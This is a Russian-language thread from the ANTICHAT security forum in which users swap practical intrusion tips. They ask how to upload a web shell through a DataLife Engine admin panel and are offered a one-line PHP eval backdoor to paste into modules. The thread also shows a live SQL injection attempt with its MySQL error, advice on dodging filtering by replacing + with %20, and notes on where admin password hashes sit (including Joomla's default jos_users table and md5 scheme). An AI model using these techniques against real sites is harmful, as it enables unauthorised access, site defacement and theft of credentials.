ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ахтунг, можно. Через уязвимости ПО, нет, не Веб ПО, а просто ПО, ftp, ssh сплойты и т.п.

А блин точно) Спасибо большое)) Я думал шелл надо совать в админку в модули, а не заливать куда-то, во я дурак))))

Подскажите как залить шелл через админку DataLife Engine..

Есть доступ на прикрепление файлов к новостям.

прочитай несколько постов назад, был такой умник уже.

а зачем давать детишкам шелл с графикой? если они не могут самым нормальным шелом воспользоватся, в графике они самое умное что сделают так задефейсят сайт ...был дан код который можно вставить в модули, но вариантов куча, если брать по твоему то зачем и eval(file_get_contents($_GET['e'])) когда можно код всего шелла в модули пропихнуть?...

П.С. Зачем доисторическому человеку давать бензопилу? Ведь он не знает что с топором то делать...

SELECT DISTINCT a.ad_id, a.house_ad,a.url,b.filePath FROM advertising a, tddmadmin_file b WHERE a.date_start = now() AND a.status = 'active' AND a.adpage = 'blablabla.php?type=2'+group+by+2+--+'AND a.fileid = b.fileID

[nativecode=1064 ** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'group+by+2+--+' AND a.fileid = b.fileID' at line 5]

Подскажите как запрос свой всунуть а то с одной ' он выплевывает это, а если 2 поставить то запрос выполняется. Что в таком случае делать нужно...

'+group+by+2+--+ это пишу я ) тут плюсы фильтруются или че?

Попробуй вместо + поставить %20

имя таблицы от куда вытащил idevaff_admin, пароли хранились sha1

в джумле по дефолту имя таблицы jos_users, а алгоритм шифрования md5 или md5($pass.$salt) (зависит от версии джумлы)

выводы делай сам.